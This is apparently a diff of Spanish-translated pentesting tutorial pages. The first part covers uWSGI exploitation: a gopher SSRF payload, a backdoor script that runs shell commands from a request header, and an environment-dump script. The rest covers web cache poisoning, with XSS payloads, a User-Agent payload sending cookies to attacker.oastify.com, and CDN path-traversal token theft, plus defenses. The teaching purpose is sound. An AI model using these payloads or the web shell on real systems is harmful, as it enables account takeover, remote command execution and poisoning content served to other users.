gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
This payload:
- Se conecta a uWSGI en el puerto 5000
- Establece `UWSGI_FILE` para apuntar al archivo malicioso
- Fuerza a uWSGI a cargar y ejecutar el código Python
### Estructura del protocolo uWSGI
El protocolo uWSGI usa un formato binario en el que:
- Las variables se codifican como cadenas prefijadas por su longitud
- Cada variable tiene: `[name_length][name][value_length][value]`
- El paquete comienza con un encabezado que contiene el tamaño total
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Luego usa `UWSGI_FILE` para cargar este backdoor:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Persistencia basada en variables de entorno
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Divulgación de Información
#### Environment Variable Dumping
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### Acceso al sistema de archivos
Usa `UWSGI_CHDIR` combinado con el servicio de archivos para acceder a archivos sensibles:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Escalada de Privilegios
#### Manipulación de sockets
Si uWSGI se ejecuta con privilegios elevados, los atacantes podrían manipular los permisos del socket:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Sobrescritura de configuración
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## Referencias
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,73 +4,73 @@
## La diferencia
> **¿Cuál es la diferencia entre web cache poisoning y web cache deception?**
> **What is the difference between web cache poisoning and web cache deception?**
>
> - In **web cache poisoning**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y ese contenido se sirve desde la caché a otros usuarios de la aplicación.
> - In **web cache deception**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego recupera ese contenido desde la caché.
> - En **web cache poisoning**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y ese contenido es servido desde la caché a otros usuarios de la aplicación.
> - En **web cache deception**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego recupera ese contenido desde la caché.
## Cache Poisoning
Cache poisoning tiene como objetivo manipular la caché del lado del cliente para forzar a los clientes a cargar recursos inesperados, parciales o bajo el control de un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el periodo de envenenamiento de la caché.
Cache poisoning tiene como objetivo manipular la caché del lado del cliente para forzar a los clientes a cargar recursos que son inesperados, parciales o que están bajo el control de un atacante. El alcance del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visiten la página durante el período de contaminación de la caché.
La ejecución de un ataque de cache poisoning implica varios pasos:
1. **Identification of Unkeyed Inputs**: Estos son parámetros que, aunque no sean necesarios para que una request sea cacheada, pueden alterar la respuesta devuelta por el servidor. Identificar estos inputs es crucial ya que pueden explotarse para manipular la caché.
2. **Exploitation of the Unkeyed Inputs**: Tras identificar los unkeyed inputs, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de manera que beneficie al atacante.
3. **Ensuring the Poisoned Response is Cached**: El paso final es asegurarse de que la respuesta manipulada se almacene en la caché. De ese modo, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
1. **Identificación de entradas no clave**: Son parámetros que, aunque no son necesarios para que una petición sea cacheada, pueden alterar la respuesta devuelta por el servidor. Identificarlos es crucial porque pueden ser explotados para manipular la caché.
2. **Explotación de las entradas no clave**: Tras identificar las entradas no clave, el siguiente paso consiste en averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
3. **Asegurar que la respuesta envenenada se almacene en caché**: El paso final es asegurarse de que la respuesta manipulada se guarde en la caché. De este modo, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
### Descubrimiento: Comprueba cabeceras HTTP
### Descubrimiento: Comprobar cabeceras HTTP
Por lo general, cuando una respuesta fue **almacenada en la caché** habrá una **cabecera que lo indique**; puedes comprobar qué cabeceras debes vigilar en este post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Normalmente, cuando una respuesta fue **almacenada en la caché** habrá una **cabecera que lo indique**; puedes comprobar qué cabeceras deberías vigilar en este post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Descubrimiento: Almacenamiento en caché de códigos de error
### Descubrimiento: Caché de códigos de error
Si sospechas que la respuesta se está almacenando en caché, podrías intentar **enviar requests con una cabecera malformada**, lo que debería responder con un **status code 400**. Luego intenta acceder a la request de forma normal y si la **respuesta es un status code 400**, sabes que es vulnerable (y podrías incluso realizar un DoS).
Si sospechas que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con una cabecera inválida**, lo cual debería responderse con un **código de estado 400**. Luego intenta acceder a la petición de forma normal y si la **respuesta es un código de estado 400**, sabes que es vulnerable (y podrías incluso realizar un DoS).
You can find more options in:
Puedes encontrar más opciones en:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Sin embargo, ten en cuenta que **a veces este tipo de status codes no se cachean**, por lo que esta prueba podría no ser fiable.
Sin embargo, ten en cuenta que **a veces este tipo de códigos de estado no se almacenan en caché**, por lo que esta prueba podría no ser fiable.
### Descubrimiento: Identificar y evaluar unkeyed inputs
### Descubrimiento: Identificar y evaluar entradas no clave
You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
Puedes usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para brute-force parámetros y cabeceras que puedan estar cambiando la respuesta de la página. Por ejemplo, una página puede estar usando la cabecera `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
### Provocar una respuesta dañina en el servidor back-end
Con el parámetro/encabezado identificado, comprueba cómo se está **saneando** y **dónde** se **refleja** o afecta la respuesta desde el encabezado. ¿Puedes abusar de él de todos modos (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
Con el parámetro/header identificado, comprueba cómo está siendo **saneado** y **dónde** se está **reflejando** o afectando la respuesta desde el header. ¿Puedes abusar de ello de todas formas (¿realizar un XSS o cargar código JS controlado por ti? ¿realizar un DoS?...)
### Get the response cached
### Haz que la respuesta se almacene en la cache
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**encabezado** usar y **cómo** **abusar** de él, necesitas que la página quede en caché. Dependiendo del recurso que estés intentando almacenar en la caché esto podría tardar, puede que necesites intentarlo durante varios segundos.
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**header** usar y **cómo** **abusar** de él, necesitas lograr que la página se cachee. Dependiendo del recurso que intentes poner en la cache esto podría tardar, puede que necesites intentarlo durante varios segundos.
El encabezado **`X-Cache`** en la respuesta puede ser muy útil ya que puede tener el valor **`miss`** cuando la petición no fue cacheada y el valor **`hit`** cuando está cacheada.\
El encabezado **`Cache-Control`** también es interesante para saber si un recurso se está cacheando y cuándo será la próxima vez que el recurso volverá a ser cacheado: `Cache-Control: public, max-age=1800`
El header **`X-Cache`** en la respuesta puede ser muy útil ya que puede tener el valor **`miss`** cuando la petición no fue cacheada y el valor **`hit`** cuando sí lo está.\
El header **`Cache-Control`** también es interesante para saber si un recurso está siendo cacheado y cuándo será la próxima vez que se vuelva a cachear: `Cache-Control: public, max-age=1800`
Otro encabezado interesante es **`Vary`**. Este encabezado suele usarse para **indicar encabezados adicionales** que se tratan como **parte de la clave de caché**, incluso si normalmente no forman parte de la clave. Por lo tanto, si el atacante conoce el `User-Agent` de la víctima a la que apunta, puede envenenar la caché para los usuarios que usen ese `User-Agent` específico.
Otro header interesante es **`Vary`**. Este header se usa a menudo para **indicar headers adicionales** que son tratados como **parte de la cache key** incluso si normalmente no se usan como clave. Por lo tanto, si el usuario conoce el `User-Agent` de la victim a la que apunta, puede poison the cache para los usuarios que utilicen ese `User-Agent` específico.
Un encabezado más relacionado con la caché es **`Age`**. Define el tiempo en segundos que el objeto lleva en la caché del proxy.
Otro header relacionado con la cache es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la proxy cache.
Al cachear una petición, ten **cuidado con los encabezados que usas** porque algunos de ellos podrían ser **usados inesperadamente** como **parte de la clave** y la **víctima necesitará usar ese mismo encabezado**. Siempre **prueba** un Cache Poisoning con **distintos navegadores** para comprobar si está funcionando.
Al cachear una petición, ten **cuidado con los headers que usas** porque algunos de ellos podrían ser **usados inesperadamente** como **keyed** y la **victim tendrá que usar ese mismo header**. Siempre **testea** un Cache Poisoning con **navegadores diferentes** para comprobar si está funcionando.
## Exploiting Examples
## Ejemplos de explotación
### Easiest example
### Ejemplo más sencillo
Un encabezado como `X-Forwarded-For` se está reflejando en la respuesta sin sanear.\
Puedes enviar una carga útil XSS básica y envenenar la caché para que todos los que accedan a la página sufran XSS:
Un header como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\
Puedes enviar una carga básica de XSS y poison the cache para que todo el que acceda a la página sufra el XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Nótese que esto envenenará una petición a `/en?region=uk` y no a `/en`_
_Tenga en cuenta que esto envenenará una petición a `/en?region=uk`, no a `/en`_
### Cache poisoning to DoS
@ -81,23 +81,23 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple:
En **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple:
- El CDN almacenará en caché cualquier cosa bajo `/share/`
- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, puede usarse como **path traversal to access other sensitive locations that will be cached** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- El servidor web decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contains the auth token**.
- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto puede usarse como **path traversal para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- El servidor web SI decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contiene el auth token**.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de ello para provocar un XSS, por ejemplo, podrías explotar XSS en varios clientes que carguen la respuesta de caché maliciosa.
Las Cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de ello para causar una XSS, por ejemplo, podrías explotar XSS en varios clientes que carguen la respuesta en caché maliciosa.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Ten en cuenta que si la cookie vulnerable es muy usada por los usuarios, las solicitudes regulares limpiarán la caché.
Ten en cuenta que si la cookie vulnerable es muy usada por los usuarios, las peticiones regulares limpiarán la cache.
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generando discrepancias con delimitadores, normalización y puntos <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Consulta:
@ -106,9 +106,9 @@ Consulta:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning con path traversal para robar API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) cómo fue posible robar una OpenAI API key con una URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque cualquier cosa que coincida con `/share/*` se almacenaría en caché sin que Cloudflare normalizara la URL, lo cual sí se hacía cuando la solicitud llegaba al servidor web.
[**Este writeup explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) cómo fue posible robar una OpenAI API key con una URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque cualquier cosa que coincida con `/share/*` será cached sin que Cloudflare normalice la URL, lo cual sí se hacía cuando la petición llegaba al servidor web.
Esto también se explica mejor en:
@ -119,16 +119,16 @@ cache-poisoning-via-url-discrepancies.md
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
A veces necesitarás **exploit several unkeyed inputs** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Open redirect** si estableces `X-Forwarded-Host` a un dominio que controlas y `X-Forwarded-Scheme` a `http`. Si el **servidor** está **redirigiendo** todas las solicitudes **HTTP** **a HTTPS** y usa el header `X-Forwarded-Scheme` como el nombre de dominio para el redirect, puedes controlar hacia dónde apunta la página mediante la redirección.
A veces necesitarás **exploit several unkeyed inputs** para poder abusar de un cache. Por ejemplo, puedes encontrar un **Open redirect** si estableces `X-Forwarded-Host` en un dominio controlado por ti y `X-Forwarded-Scheme` en `http`. **Si** el **servidor** está **reenviando** todas las peticiones **HTTP** **a HTTPS** y usa la cabecera `X-Forwarded-Scheme` como el nombre de dominio para el redirect, puedes controlar hacia dónde apunta la página con el redirect.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Explotando con `Vary` header limitado
### Explotando con `Vary` limitado
Si encontraste que la cabecera **`X-Host`** se está usando como **nombre de dominio para cargar un recurso JS** pero la cabecera **`Vary`** en la respuesta indica **`User-Agent`**. Entonces necesitas encontrar una forma de exfiltrate el User-Agent de la víctima y poison the cache usando ese user agent:
Si descubres que el header **`X-Host`** se está usando como **nombre de dominio para cargar un recurso JS** pero el header **`Vary`** en la respuesta indica **`User-Agent`**. Entonces necesitas encontrar una forma de exfiltrate el `User-Agent` de la víctima y poison the cache usando ese `User-Agent`:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Envía una GET request con la request tanto en la URL como en el body. Si el web server utiliza la que está en el body pero el cache server cachea la que está en la URL, cualquiera que acceda a esa URL acabará utilizando el parameter del body. Como la vuln que James Kettle encontró en el sitio de Github:
Envía una solicitud GET con la petición tanto en la URL como en el cuerpo. Si el servidor web usa la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquiera que acceda a esa URL usará en realidad el parámetro del cuerpo. Como la vuln que James Kettle encontró en el sitio web de Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -146,11 +146,11 @@ Content-Length: 22
report=innocent-victim
```
Hay un laboratorio de PortSwigger sobre esto: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
Por ejemplo, es posible separar **parameters** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto puede usarse para insertar valores de parámetros sin clave dentro de parámetros con clave y abusar de ello.
Por ejemplo, es posible separar **parameters** en servidores ruby usando el caracter **`;`** en lugar de **`&`**. Esto puede usarse para poner valores de parámetros sin clave dentro de parámetros con clave y abusar de ello.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -160,58 +160,58 @@ Aprende aquí cómo realizar [Cache Poisoning attacks by abusing HTTP Request Sm
### Automated testing for Web Cache Poisoning
El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) puede usarse para probar automáticamente Web Cache Poisoning. Soporta muchas técnicas diferentes y es altamente personalizable.
El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) puede usarse para probar automáticamente Web Cache Poisoning. Soporta muchas técnicas diferentes y es altamente configurable.
Ejemplo de uso: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Este patrón del mundo real encadena una primitiva de reflexión basada en headers con el comportamiento del CDN/WAF para envenenar de forma fiable el HTML cacheado servido a otros usuarios:
Este patrón observado en el mundo real encadena una primitiva de reflexión basada en cabeceras con el comportamiento de un CDN/WAF para envenenar de forma fiable el HTML cacheado servido a otros usuarios:
- El HTML principal reflejaba un header de petición no confiable (p. ej., `User-Agent`) dentro de un contexto ejecutable.
- El CDN eliminaba headers de caché pero existía una caché interna/origen. El CDN también almacenaba automáticamente en caché peticiones que terminaban en extensiones estáticas (p. ej., `.js`), mientras que el WAF aplicaba una inspección de contenido más débil a los GETs de assets estáticos.
- Peculiaridades en el flujo de peticiones permitían que una petición a una ruta `.js` influyera en la cache key/variant usada para el HTML principal siguiente, permitiendo XSS entre usuarios vía reflexión de headers.
- El HTML principal reflejaba una cabecera de petición no confiable (p. ej., `User-Agent`) en contexto ejecutable.
- El CDN quitaba las cabeceras de cacheo pero existía un cache interno/origen. El CDN además auto-cacheaba peticiones que terminaban en extensiones estáticas (p. ej., `.js`), mientras que el WAF aplicaba una inspección de contenido más débil a GETs de assets estáticos.
- Peculiaridades en el flujo de peticiones permitieron que una petición a una ruta `.js` influyera en la key/variant de cache usada para el HTML principal subsecuente, habilitando XSS entre usuarios vía reflexión de cabeceras.
Receta práctica (observada en un CDN/WAF popular):
1) Desde una IP limpia (evita degradaciones previas por reputación), configura un `User-Agent` malicioso vía el navegador o Burp Proxy Match & Replace.
2) En Burp Repeater, prepara un grupo de dos peticiones y usa "Send group in parallel" (el modo single-packet funciona mejor):
- Primera petición: realiza un GET a una ruta de recurso `.js` en el mismo origin mientras envías tu `User-Agent` malicioso.
- Inmediatamente después: GET la página principal (`/`).
3) La carrera de enrutamiento del CDN/WAF junto con el `.js` auto-cacheado a menudo siembra una variante de HTML cacheado envenenada que luego se sirve a otros visitantes que comparten las mismas condiciones de cache key (p. ej., mismas dimensiones `Vary` como `User-Agent`).
1) Desde una IP limpia (evita degradaciones previas basadas en reputación), establece un `User-Agent` malicioso vía navegador o Burp Proxy Match & Replace.
2) En Burp Repeater, prepara un grupo de dos requests y usa "Send group in parallel" (single-packet mode funciona mejor):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) La carrera de enrutamiento CDN/WAF más el auto-cacheo del `.js` suele sembrar una variante de HTML cacheada envenenada que luego se sirve a otros visitantes que comparten las mismas condiciones de cache key (p. ej., mismas dimensiones `Vary` como `User-Agent`).
Ejemplo de payload de header (para exfiltrar cookies no HttpOnly):
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Muchos CDN ocultan cache headers; poisoning puede aparecer solo en ciclos de refresh de varias horas. Usa múltiples vantage IPs y throttle para evitar triggers de rate-limit o reputación.
- Usar una IP del cloud propio del CDN a veces mejora la consistencia de routing.
- Si un CSP estricto está presente, esto aún funciona si la reflexión se ejecuta en el main HTML context y el CSP permite inline execution o es bypassed por context.
- Muchos CDNs ocultan las cabeceras de caché; poisoning puede aparecer solo en ciclos de actualización de varias horas. Usa múltiples IPs desde diferentes ubicaciones y regula la velocidad para evitar disparadores de rate-limit o de reputación.
- Usar una IP de la propia nube del CDN a veces mejora la consistencia del enrutamiento.
- Si hay un CSP estricto presente, esto aún funciona si la reflection se ejecuta en el contexto HTML principal y el CSP permite ejecución inline o es bypassed por el contexto.
Impact:
- Si las session cookies no son `HttpOnly`, un zero-click ATO es posible por mass-exfiltrating `document.cookie` desde todos los usuarios que reciben el poisoned HTML.
- Si las cookies de sesión no son `HttpOnly`, es posible un ATO zero-click mediante la exfiltración masiva de `document.cookie` de todos los usuarios que reciben el poisoned HTML.
Defenses:
- Deja de reflejar request headers en HTML; haz strict context-encode si es inevitable. Alinea las cache policies del CDN y del origin y evita variar en untrusted headers.
- Asegúrate de que WAF aplique content inspection de forma consistente a las requests `.js` y a static paths.
- Configura `HttpOnly` (y `Secure`, `SameSite`) en las session cookies.
- Deja de reflejar las cabeceras de la petición en el HTML; codifica estrictamente según el contexto si es inevitable. Alinea las políticas de caché del CDN y del origin y evita variar según cabeceras no confiables.
- Asegura que el WAF aplique inspección de contenido de forma consistente a las peticiones `.js` y a rutas estáticas.
- Marca `HttpOnly` (y `Secure`, `SameSite`) en las cookies de sesión.
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
Un patrón específico de Sitecore permite escrituras no autenticadas al HtmlCache abusando de preauth XAML handlers y de la reflexión de AjaxScriptManager. Cuando se alcanza el handler `Sitecore.Shell.Xaml.WebControl`, un `xmlcontrol:GlobalHeader` (derivado de `Sitecore.Web.UI.WebControl`) está disponible y se permite la siguiente reflective call:
A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Esto escribe HTML arbitrario bajo una cache key elegida por el atacante, habilitando un poisoning preciso una vez que los cache keys son conocidos.
Esto escribe HTML arbitrario bajo una clave de caché elegida por el atacante, permitiendo un envenenamiento preciso una vez que las claves de caché son conocidas.
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
Para más detalles (construcción de la clave de caché, enumeración de ItemService y una RCE de deserialización en cadena postauth):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
@ -221,66 +221,66 @@ For full details (cache key construction, ItemService enumeration and a chained
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS reenviaba el fragmento dentro de la URL sin quitarlo y generaba el cache key usando solo el host, path y query (ignorando el fragment). Así que la petición `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y el cache key no tenía el payload dentro, solo host, path y query.
ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave de caché usando solo el host, path y query (ignorando el fragmento). Así que la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no contenía la carga útil, solo host, path y query.
### GitHub CP-DoS
Enviar un valor inválido en el content-type header provocaba una respuesta 405 cacheada. El cache key contenía la cookie por lo que solo era posible atacar a usuarios no autenticados.
Enviar un valor inválido en el header content-type desencadenaba una respuesta 405 cacheada. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
### GitLab + GCP CP-DoS
GitLab usa GCP Buckets para almacenar contenido estático. **GCP Buckets** soportan el **header `x-http-method-override`**. Por lo tanto fue posible enviar el header `x-http-method-override: HEAD` y envenenar el cache para que devolviera un body de respuesta vacío. También podría soportar el método `PURGE`.
GitLab usa GCP buckets para almacenar contenido estático. **GCP Buckets** soportan el **header `x-http-method-override`**. Por ello era posible enviar el header `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`.
### Rack Middleware (Ruby on Rails)
En aplicaciones Ruby on Rails se utiliza a menudo Rack middleware. El propósito del código Rack es tomar el valor del header **`x-forwarded-scheme`** y establecerlo como el scheme de la request. Cuando se envía el header `x-forwarded-scheme: http`, ocurre un redirect 301 a la misma ubicación, potencialmente causando un Denial of Service (DoS) a ese recurso. Además, la aplicación podría reconocer el header `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que supone un riesgo de seguridad.
En aplicaciones Ruby on Rails, a menudo se utiliza middleware de Rack. El propósito del código de Rack es tomar el valor del header **`x-forwarded-scheme`** y establecerlo como el scheme de la petición. Cuando se envía el header `x-forwarded-scheme: http`, se produce un redirect 301 a la misma ubicación, lo que potencialmente puede causar un Denial of Service (DoS) en ese recurso. Además, la aplicación podría respetar el header `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede provocar la carga de archivos JavaScript desde el servidor de un atacante, suponiendo un riesgo de seguridad.
### 403 and Storage Buckets
### 403 y Storage Buckets
Cloudflare previamente cacheaba respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con Authorization headers incorrectos resultaba en una respuesta 403 que se almacenaba en cache. Aunque Cloudflare ha dejado de cachear respuestas 403, este comportamiento puede seguir presente en otros servicios proxy.
Cloudflare almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con headers de Authorization incorrectos resultaba en una respuesta 403 que se cacheaba. Aunque Cloudflare dejó de cachear respuestas 403, este comportamiento podría seguir presente en otros proxies.
### Injecting Keyed Parameters
### Inyección de parámetros con clave
Los caches a menudo incluyen parámetros GET específicos en el cache key. Por ejemplo, Varnish de Fastly cacheaba el parámetro `size` en las peticiones. Sin embargo, si se enviaba también una versión URL-encoded del parámetro (p. ej. `siz%65`) con un valor erróneo, el cache key se construiría usando el parámetro `size` correcto. Aun así, el backend procesaría el valor en el parámetro URL-encoded. URL-encodear el segundo parámetro `size` hacía que fuera omitido por el cache pero utilizado por el backend. Asignar un valor de 0 a este parámetro resultaba en un 400 Bad Request cacheable.
Las cachés suelen incluir parámetros GET específicos en la clave de caché. Por ejemplo, Varnish de Fastly cacheaba el parámetro `size` en las peticiones. Sin embargo, si también se enviaba una versión codificada de URL del parámetro (p. ej. `siz%65`) con un valor erróneo, la clave de caché se construiría usando el parámetro `size` correcto. No obstante, el backend procesaría el valor del parámetro codificado en la URL. URL-encoding del segundo parámetro `size` provocaba su omisión por la caché pero su uso por el backend. Asignar un valor 0 a ese parámetro resultaba en un error 400 Bad Request cacheable.
### User Agent Rules
### Reglas de User Agent
Algunos desarrolladores bloquean requests con user-agents que coinciden con herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como cache poisoning y DoS.
Algunos desarrolladores bloquean peticiones con user-agents que coinciden con herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como cache poisoning y DoS.
### Illegal Header Fields
### Campos de header ilegales
